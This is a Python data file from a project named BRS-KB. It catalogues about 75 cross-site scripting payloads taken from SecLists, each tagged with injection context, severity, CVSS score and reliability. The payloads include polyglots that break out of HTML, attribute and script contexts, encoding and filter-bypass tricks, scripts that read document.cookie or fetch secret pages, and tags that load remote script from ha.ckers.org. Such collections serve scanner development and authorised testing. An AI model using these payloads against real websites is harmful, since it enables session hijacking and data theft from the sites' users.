#!/usr/bin/env python3

"""
Project: BRS-KB
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26

Source: https://github.com/danielmiessler/SecLists
SecLists XSS Payloads Collection
Includes: RSNAKE, Jhaddix, Polyglots
"""

from ..models import PayloadEntry


BRS_KB_SECLISTS_DATABASE = {
    # ===== SECLISTS POLYGLOTS =====
    "seclists_poly_001": PayloadEntry(
        payload="';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>\">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>",
        contexts=["html_content", "javascript", "html_attribute"],
        tags=["seclists", "polyglot", "universal"],
        severity="high",
        cvss_score=7.5,
        description="SecLists mega polyglot",
        reliability="high",
    ),
    "seclists_poly_002": PayloadEntry(
        payload="\" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//",
        contexts=["html_attribute", "javascript"],
        tags=["seclists", "polyglot"],
        severity="high",
        cvss_score=7.5,
        description="Multi-context onclick polyglot",
        reliability="high",
    ),
    "seclists_poly_003": PayloadEntry(
        payload='\'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>\'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>\'',
        contexts=["html_content", "html_attribute"],
        tags=["seclists", "polyglot", "mega"],
        severity="high",
        cvss_score=7.5,
        description="SecLists mega polyglot v2",
        reliability="high",
    ),
    "seclists_poly_004": PayloadEntry(
        payload="javascript://'/</title></style></textarea></script>--><p\" onclick=alert()//>*/alert()/*",
        contexts=["url", "html_content"],
        tags=["seclists", "polyglot", "javascript"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript protocol polyglot",
        reliability="high",
    ),
    "seclists_poly_005": PayloadEntry(
        payload="javascript://--></script></title></style>\"/</textarea>*/<alert()/*' onclick=alert()//>a",
        contexts=["url", "html_content"],
        tags=["seclists", "polyglot"],
        severity="high",
        cvss_score=7.5,
        description="Break-out polyglot",
        reliability="high",
    ),
    "seclists_poly_006": PayloadEntry(
        payload="javascript://</title></style></textarea>--></script><a\"//' onclick=alert()//>*/alert()/*",
        contexts=["url", "html_content"],
        tags=["seclists", "polyglot"],
        severity="high",
        cvss_score=7.5,
        description="Comment polyglot",
        reliability="high",
    ),
    "seclists_poly_007": PayloadEntry(
        payload="javascript://'//' --></textarea></style></script></title><b onclick= alert()//>*/alert()/*",
        contexts=["url", "html_content"],
        tags=["seclists", "polyglot"],
        severity="high",
        cvss_score=7.5,
        description="Textarea break polyglot",
        reliability="high",
    ),
    "seclists_poly_008": PayloadEntry(
        payload="javascript://</title></textarea></style></script --><li '//' '*/alert()/*', onclick=alert()//",
        contexts=["url", "html_content"],
        tags=["seclists", "polyglot"],
        severity="high",
        cvss_score=7.5,
        description="List item polyglot",
        reliability="high",
    ),
    "seclists_poly_009": PayloadEntry(
        payload="--></script></title></style>\"/</textarea><a' onclick=alert()//>*/alert()/*",
        contexts=["html_content"],
        tags=["seclists", "polyglot", "breakout"],
        severity="high",
        cvss_score=7.5,
        description="Context breakout polyglot",
        reliability="high",
    ),
    "seclists_poly_010": PayloadEntry(
        payload="/</title/'/</style/</script/</textarea/--><p\" onclick=alert()//>*/alert()/*",
        contexts=["html_content"],
        tags=["seclists", "polyglot", "slash"],
        severity="high",
        cvss_score=7.5,
        description="Slash breakout polyglot",
        reliability="high",
    ),
    # ===== RSNAKE CLASSIC VECTORS =====
    "rsnake_001": PayloadEntry(
        payload="<SCRIPT>alert('XSS');</SCRIPT>",
        contexts=["html_content"],
        tags=["rsnake", "classic", "script"],
        severity="high",
        cvss_score=7.5,
        description="RSnake basic script",
        reliability="high",
    ),
    "rsnake_002": PayloadEntry(
        payload="'';!--\"<XSS>=&{()}",
        contexts=["html_content", "html_attribute"],
        tags=["rsnake", "probe"],
        severity="medium",
        cvss_score=5.0,
        description="RSnake XSS probe",
        reliability="high",
    ),
    "rsnake_003": PayloadEntry(
        payload="<IMG SRC=\"javascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "javascript"],
        severity="high",
        cvss_score=7.5,
        description="RSnake img javascript src",
        reliability="medium",
    ),
    "rsnake_004": PayloadEntry(
        payload="<IMG SRC=JaVaScRiPt:alert('XSS')>",
        contexts=["html_content"],
        tags=["rsnake", "img", "case"],
        severity="high",
        cvss_score=7.5,
        description="RSnake mixed case javascript",
        reliability="medium",
    ),
    "rsnake_005": PayloadEntry(
        payload="<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
        contexts=["html_content"],
        tags=["rsnake", "img", "backtick"],
        severity="high",
        cvss_score=7.5,
        description="RSnake backtick src",
        reliability="low",
    ),
    "rsnake_006": PayloadEntry(
        payload="<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
        contexts=["html_content"],
        tags=["rsnake", "img", "charcode"],
        severity="high",
        cvss_score=7.5,
        description="RSnake fromCharCode",
        reliability="medium",
    ),
    "rsnake_007": PayloadEntry(
        payload="<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
        contexts=["html_content"],
        tags=["rsnake", "img", "decimal_entity"],
        severity="high",
        cvss_score=7.5,
        description="RSnake decimal entity padding",
        reliability="medium",
    ),
    "rsnake_008": PayloadEntry(
        payload="<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
        contexts=["html_content"],
        tags=["rsnake", "img", "hex_entity"],
        severity="high",
        cvss_score=7.5,
        description="RSnake hex entity encoding",
        reliability="medium",
    ),
    "rsnake_009": PayloadEntry(
        payload="<IMG SRC=\"jav\tascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "tab"],
        severity="high",
        cvss_score=7.5,
        description="RSnake embedded tab",
        reliability="medium",
    ),
    "rsnake_010": PayloadEntry(
        payload="<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "tab_entity"],
        severity="high",
        cvss_score=7.5,
        description="RSnake tab entity",
        reliability="medium",
    ),
    "rsnake_011": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "newline_entity"],
        severity="high",
        cvss_score=7.5,
        description="RSnake newline entity",
        reliability="medium",
    ),
    "rsnake_012": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "cr_entity"],
        severity="high",
        cvss_score=7.5,
        description="RSnake carriage return entity",
        reliability="medium",
    ),
    "rsnake_013": PayloadEntry(
        payload="<IMG SRC=\" &#14;  javascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "null"],
        severity="high",
        cvss_score=7.5,
        description="RSnake null character bypass",
        reliability="low",
    ),
    "rsnake_014": PayloadEntry(
        payload='<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
        contexts=["html_content"],
        tags=["rsnake", "script", "slash"],
        severity="high",
        cvss_score=7.5,
        description="RSnake script/XSS",
        reliability="medium",
    ),
    "rsnake_015": PayloadEntry(
        payload="<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>",
        contexts=["html_content"],
        tags=["rsnake", "script", "unclosed"],
        severity="high",
        cvss_score=7.5,
        description="RSnake unclosed script",
        reliability="medium",
    ),
    # ===== JHADDIX ADVANCED =====
    "jhaddix_001": PayloadEntry(
        payload="' onmouseover=alert(/XSS/)",
        contexts=["html_attribute"],
        tags=["jhaddix", "event"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix onmouseover injection",
        reliability="high",
    ),
    "jhaddix_002": PayloadEntry(
        payload='x"</title><img src%3dx onerror%3dalert(1)>',
        contexts=["html_content"],
        tags=["jhaddix", "title_break"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix title breakout",
        reliability="high",
    ),
    "jhaddix_003": PayloadEntry(
        payload="<script>Object.defineProperties(window, {Safe: {value: {get: function() {return document.cookie}}}});alert(Safe.get())</script>",
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "defineProperties"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix Object.defineProperties",
        reliability="high",
    ),
    "jhaddix_004": PayloadEntry(
        payload="<script>var x = document.createElement('iframe');document.body.appendChild(x);var xhr = x.contentWindow.XMLHttpRequest();xhr.open('GET', 'http://target/secret', true);xhr.onload = function() { alert(xhr.responseText) };xhr.send();</script>",
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "iframe", "xhr"],
        severity="critical",
        cvss_score=9.0,
        description="Jhaddix iframe XHR bypass",
        reliability="medium",
    ),
    "jhaddix_005": PayloadEntry(
        payload="<script>var script = document.getElementsByTagName('script')[0]; var clone = script.childNodes[0].cloneNode(true); var ta = document.createElement('textarea'); ta.appendChild(clone); alert(ta.value)</script>",
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "clone", "script"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix script clone leak",
        reliability="medium",
    ),
    "jhaddix_006": PayloadEntry(
        payload='<script>xhr=new ActiveXObject("Msxml2.XMLHTTP");xhr.open("GET","/secret",true);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){alert(xhr.responseText)}};xhr.send();</script>',
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "activex", "ie"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix ActiveX XHR (IE)",
        reliability="low",
    ),
    "jhaddix_007": PayloadEntry(
        payload="<script>alert(document.documentElement.innerHTML.match(/'([^']+)/)[1])</script>",
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "innerHTML", "regex"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix innerHTML regex extract",
        reliability="high",
    ),
    "jhaddix_008": PayloadEntry(
        payload="<script>alert(document.head.innerHTML.substr(146,20));</script>",
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "head", "substr"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix head substr leak",
        reliability="medium",
    ),
    "jhaddix_009": PayloadEntry(
        payload="<script>alert(document.head.childNodes[3].text)</script>",
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "childNodes"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix childNodes leak",
        reliability="medium",
    ),
    "jhaddix_010": PayloadEntry(
        payload='<iframe id="ifra" src="/"></iframe><script>ifr = document.getElementById(\'ifra\'); ifr.contentDocument.write("<scr" + "ipt>top.foo = Object.defineProperty</scr" + "ipt>"); foo(window, \'Safe\', {value:{}}); foo(Safe, \'get\', {value:function() { return document.cookie }}); alert(Safe.get());</script>',
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "iframe", "defineProperty"],
        severity="critical",
        cvss_score=9.0,
        description="Jhaddix iframe defineProperty bypass",
        reliability="medium",
    ),
    "jhaddix_011": PayloadEntry(
        payload='<script>(function() {var event = document.createEvent("MouseEvents");event.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null);var fakeData = [event, {isTrusted: true}, event];arguments.__defineGetter__(\'0\', function() { return fakeData.pop(); });alert(1);})();</script>',
        contexts=["html_content", "javascript"],
        tags=["jhaddix", "event", "isTrusted"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix fake isTrusted event",
        reliability="low",
    ),
    # ===== ADDITIONAL RSNAKE =====
    "rsnake_016": PayloadEntry(
        payload="<BODY ONLOAD=alert('XSS')>",
        contexts=["html_content"],
        tags=["rsnake", "body", "onload"],
        severity="high",
        cvss_score=7.5,
        description="RSnake body onload",
        reliability="high",
    ),
    "rsnake_017": PayloadEntry(
        payload="<BODY BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        tags=["rsnake", "body", "background"],
        severity="high",
        cvss_score=7.5,
        description="RSnake body background (legacy)",
        reliability="low",
    ),
    "rsnake_018": PayloadEntry(
        payload="<IMG DYNSRC=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "dynsrc", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake dynsrc (IE)",
        reliability="low",
    ),
    "rsnake_019": PayloadEntry(
        payload="<IMG LOWSRC=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        tags=["rsnake", "img", "lowsrc"],
        severity="high",
        cvss_score=7.5,
        description="RSnake lowsrc",
        reliability="low",
    ),
    "rsnake_020": PayloadEntry(
        payload="<BGSOUND SRC=\"javascript:alert('XSS');\">",
        contexts=["html_content"],
        tags=["rsnake", "bgsound", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake bgsound (IE)",
        reliability="low",
    ),
    "rsnake_021": PayloadEntry(
        payload="<BR SIZE=\"&{alert('XSS')}\">",
        contexts=["html_content"],
        tags=["rsnake", "br", "netscape"],
        severity="high",
        cvss_score=7.5,
        description="RSnake Netscape br",
        reliability="low",
    ),
    "rsnake_022": PayloadEntry(
        payload='<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>',
        contexts=["html_content"],
        tags=["rsnake", "layer", "netscape"],
        severity="high",
        cvss_score=7.5,
        description="RSnake layer (Netscape)",
        reliability="low",
    ),
    "rsnake_023": PayloadEntry(
        payload='<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        tags=["rsnake", "link", "stylesheet"],
        severity="high",
        cvss_score=7.5,
        description="RSnake link stylesheet",
        reliability="low",
    ),
    "rsnake_024": PayloadEntry(
        payload="<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS</LI></UL>",
        contexts=["html_content", "css"],
        tags=["rsnake", "style", "list-style"],
        severity="high",
        cvss_score=7.5,
        description="RSnake list-style-image",
        reliability="low",
    ),
    "rsnake_025": PayloadEntry(
        payload='<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        tags=["rsnake", "meta", "refresh"],
        severity="high",
        cvss_score=7.5,
        description="RSnake meta refresh",
        reliability="low",
    ),
    "rsnake_026": PayloadEntry(
        payload='<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
        contexts=["html_content"],
        tags=["rsnake", "meta", "data"],
        severity="high",
        cvss_score=7.5,
        description="RSnake meta refresh data URI",
        reliability="medium",
    ),
    "rsnake_027": PayloadEntry(
        payload="<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
        contexts=["html_content"],
        tags=["rsnake", "iframe"],
        severity="high",
        cvss_score=7.5,
        description="RSnake iframe javascript",
        reliability="high",
    ),
    "rsnake_028": PayloadEntry(
        payload="<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
        contexts=["html_content"],
        tags=["rsnake", "frameset", "frame"],
        severity="high",
        cvss_score=7.5,
        description="RSnake frameset",
        reliability="low",
    ),
    "rsnake_029": PayloadEntry(
        payload="<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        tags=["rsnake", "table", "background"],
        severity="high",
        cvss_score=7.5,
        description="RSnake table background",
        reliability="low",
    ),
    "rsnake_030": PayloadEntry(
        payload="<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
        contexts=["html_content", "css"],
        tags=["rsnake", "div", "background-image"],
        severity="high",
        cvss_score=7.5,
        description="RSnake div background-image",
        reliability="low",
    ),
    "rsnake_031": PayloadEntry(
        payload="<DIV STYLE=\"width: expression(alert('XSS'));\">",
        contexts=["html_content", "css"],
        tags=["rsnake", "div", "expression", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake CSS expression (IE)",
        reliability="low",
    ),
    "rsnake_032": PayloadEntry(
        payload="<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
        contexts=["html_content", "css"],
        tags=["rsnake", "style", "import"],
        severity="high",
        cvss_score=7.5,
        description="RSnake CSS import",
        reliability="medium",
    ),
    "rsnake_033": PayloadEntry(
        payload='<XSS STYLE="behavior: url(xss.htc);">',
        contexts=["html_content", "css"],
        tags=["rsnake", "behavior", "htc", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake behavior HTC (IE)",
        reliability="low",
    ),
    "rsnake_034": PayloadEntry(
        payload="<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->",
        contexts=["html_content", "html_comment"],
        tags=["rsnake", "conditional", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake IE conditional comment",
        reliability="low",
    ),
    "rsnake_035": PayloadEntry(
        payload="<BASE HREF=\"javascript:alert('XSS');//\">",
        contexts=["html_content"],
        tags=["rsnake", "base"],
        severity="high",
        cvss_score=7.5,
        description="RSnake base href javascript",
        reliability="low",
    ),
    "rsnake_036": PayloadEntry(
        payload='<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>',
        contexts=["html_content"],
        tags=["rsnake", "object", "scriptlet"],
        severity="high",
        cvss_score=7.5,
        description="RSnake object scriptlet",
        reliability="low",
    ),
    "rsnake_037": PayloadEntry(
        payload='<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" allowScriptAccess="always">',
        contexts=["html_content"],
        tags=["rsnake", "embed", "svg", "base64"],
        severity="high",
        cvss_score=7.5,
        description="RSnake embed SVG base64",
        reliability="medium",
    ),
    "rsnake_038": PayloadEntry(
        payload='<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:alert(\'XSS\')"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>',
        contexts=["html_content"],
        tags=["rsnake", "xml", "databinding", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake XML data binding (IE)",
        reliability="low",
    ),
    "rsnake_039": PayloadEntry(
        payload='<HTML xmlns:xss><?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"><xss:xss>XSS</xss:xss></HTML>',
        contexts=["html_content"],
        tags=["rsnake", "namespace", "htc", "ie"],
        severity="high",
        cvss_score=7.5,
        description="RSnake namespace HTC (IE)",
        reliability="low",
    ),
    "rsnake_040": PayloadEntry(
        payload='<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>',
        contexts=["html_content"],
        tags=["rsnake", "script", "content-type"],
        severity="high",
        cvss_score=7.5,
        description="RSnake script jpg extension",
        reliability="medium",
    ),
}

BRS_KB_SECLISTS_TOTAL = len(BRS_KB_SECLISTS_DATABASE)
